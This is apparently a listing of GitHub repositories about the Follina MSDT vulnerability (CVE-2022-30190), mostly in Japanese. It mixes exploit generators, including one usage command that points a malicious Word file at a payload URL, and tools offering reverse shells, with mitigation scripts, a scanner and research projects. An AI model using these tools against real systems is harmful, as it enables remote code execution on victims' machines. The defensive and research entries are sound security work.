FollinaXploit

Follina Exploiter CLI ツールの MSDT 脆弱性（CVE-2022-30190） MSDT（Microsoft Support Diagnostic Tool）のゼロデイ脆弱性、別名 'Follina'（CVE-2022-30190）を悪用するためのコマンドラインベースの Python ツールです。 情報 : 攻撃で PowerShell を実行するために使用される新しい Microsoft Office ゼロデイ Python（3.10.4）で作成 機能 1. 被害者のデバイスで悪意のあるコマンドを実行します。 2. リバースシェル（NetCat）を取得します。 ...

follina-spring

Follina MS-MSDT エクスプロイト with Spring Boot このリポジトリは、Follina ペイロードのホスト/アクティベーション を行うサーバーとして、および CVE-2022-30190 のエクスプロイトに使用できる悪意のある Word 文書のジェネレーター として機能する、シンプルな Spring Boot アプリケーションを含んでいます。 この脆弱性は、MSDT Microsoft Windows サポート診断ツール を介したリモートコード実行 Remote Code Execution で構成されています。 サーバーサイドペイロード...

CVE-2022-30190

このリポジトリには README がありません。...

CVE-2021-40444

完全武装化されたCVE-2021-40444 CVE-2021-40444（Microsoft Office Word リモートコード実行）を悪用する悪意のあるdocxジェネレーター。任意のDLLファイルで動作します。 2022年5月31日更新 - CVE-2022-30190 - Follina 現在、このジェネレーターは「Follina」攻撃（ms-msdtを活用）を悪用するために必要な文書も生成できます。 背景...

Follina_Exploiter_CLI

Follina Exploiter CLIツール MSDT脆弱性 CVE-2022-30190 MSDT（Microsoftサポート診断ツール）におけるゼロデイ脆弱性、別名「Follina」（CVE-2022-30190）を悪用するためのコマンドラインベースのPythonツールです。 情報 : PowerShellを実行する攻撃で使用される新しいMicrosoft Officeゼロデイ Python3.10.4で作成 機能 1. 被害者デバイスで悪意のあるコマンドを実行します。 2. リバースシェルを取得します NetCat。 3. .rtfファイル用のZero Click...

mitigate-folina

mitigate-folina 「Folina」ゼロデイ CVE-2022-30190 および「Search」ナイトメア 現時点ではCVE未割り当て を緩和します このスクリプトは、Microsoftが推奨する方法に従って 影響を受けるレジストリキーをバックアップしてから削除し、CVE-2022-30190を緩和します。 「-revert」を指定すると、スクリプトはキーを再インポートします。 これは、Microsoftがパッチをリリースしたときに使用できます。 スクリプトは、管理者または NT-AUTHORITY\SYSTEM として実行する必要があります...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Nee による概念実証 使用方法 python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" 動作内容 指定したペイロードURLを参照する悪意のあるWordファイルを作成します webフォルダにあるデフォルトのペイロードをホストします デフォルトではProof of Conceptで電卓calcがポップアップします 変更やプッシュは自由に行ってください :...

msdt-CVE-2022-30190

msdt-follina-office CVE-2022-30190 - MSDTにおけるゼロクリックRCE脆弱性...

MSDT_CVE-2022-30190-follina-

MSDTCVE-2022-30190-follina-...

CVE-2022-30190

CVE-2022-30190 このスクリプトは https://github.com/JohnHammond/msdt-follina からのものです。自分が使いやすいように簡略化しただけで、このスクリプトはペイロードの生成を目的としています。詳細については John Hammond のリンクを参照してください。...

CVE-2022-30190-Follina-Patch

CVE-2022-30190-Follina-Patch これは、cmdに手動で入力する代わりに、Workaroundsの一時的なパッチを一度に完了できるシンプルなプログラムです（特定のユーザー向け）。 管理者として実行する必要があります。 6/2/2022 画像 exeファイル 手動 コマンドプロンプトを管理者として実行します。 レジストリキーをバックアップするには、次のコマンドを実行します reg export HKEYCLASSESROOT\ms-msdt filename 次のコマンドを実行します reg delete HKEYCLASSESROOT\ms-msdt /f。 出典...

follina-CVE-2022-30190

follina-CVE-2022-30190 Microsoftが攻撃を緩和するのを支援するためのfollinaゼロデイ脆弱性 説明 follina.py -h 使用前にルートフォルダでnc64.zipを解凍してください...

CVE-2022-30190

CVE-2022-30190 Follina CVE-2022-30190（Follina）の概念実証（PoC）です。 必要条件 被害者 Windows 10 21H1（同等またはそれ以前） セキュリティ更新プログラム KB5016616 が未適用 攻撃者 Microsoft .NET SDK Python 3.9 以降 設定 config.xml を編集して、攻撃者のサーバーのホスト名とポート番号を変更します。 hostname port 使用方法 トロイの木馬 次の Python スクリプトは trojan.docx ファイルをビルドし、攻撃者のサーバーを初期化します。 python...

FollinaScanner

FollinaScanner Goで書かれた、Follinaエクスプロイト（CVE-2022-30190）をスキャンするツール 注：「疑わしいファイル」とは、URLが含まれているが機能していないファイルを意味します コンパイル git clone https://github.com/ErrorNoInternet/FollinaScanner cd FollinaScanner go build 使用法 現在のディレクトリをスキャン ./follina-scanner -r . 特定のファイルをスキャン ./follina-scanner amogus.docx 引数の一覧は...

Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis

Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis Follina（CVE-2022-30190）として知られる Microsoft Office の脆弱性に関する調査。詳細な分析、管理されたラボ環境での概念実証（PoC）エクスプロイト、および緩和策を含みます。教育および研究目的のみで使用してください。...

Cve-2022-30190

Cve-2022-30190...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 の緩和策 スクリプトは管理者として実行する必要があります。このスクリプトは、Connectwise Automate RMM ツールによる展開でテストされています。 バックアップを取ってレジストリから何かを削除するよりも、このソリューションの方がすっきりしていると感じました。これは単に DWORD キー値を「1」に更新して機能を復元できるためです。 あるいは、スクリプトを変更して、追加されたレジストリキーを検索して削除することもできます。...

MSDT-0-Day-CVE-2022-30190-Poc

このリポジトリには README がありません。...

go_follina

gofollina Follina（CVE-2022-30190）の概念実証です。 以下のリポジトリに触発されました : https://github.com/JohnHammond/msdt-follina https://github.com/chvancooten/follina.py...

five-nights-at-follina-s

Five Nights at Follina's 一个Fullstack Academy网络安全项目，研究Follina漏洞（CVE-2022-30190）的完整生命周期，从利用到检测与防御。 团队： Brian Aldrich YoungWa Kim Jay O'Neill Binyang Jeffrey Xu 这套工具假定你有一个网络主机，或者可以使用Python搭建一个简单的Web服务器来托管生成或示例的payload文件。 免责声明 "Example...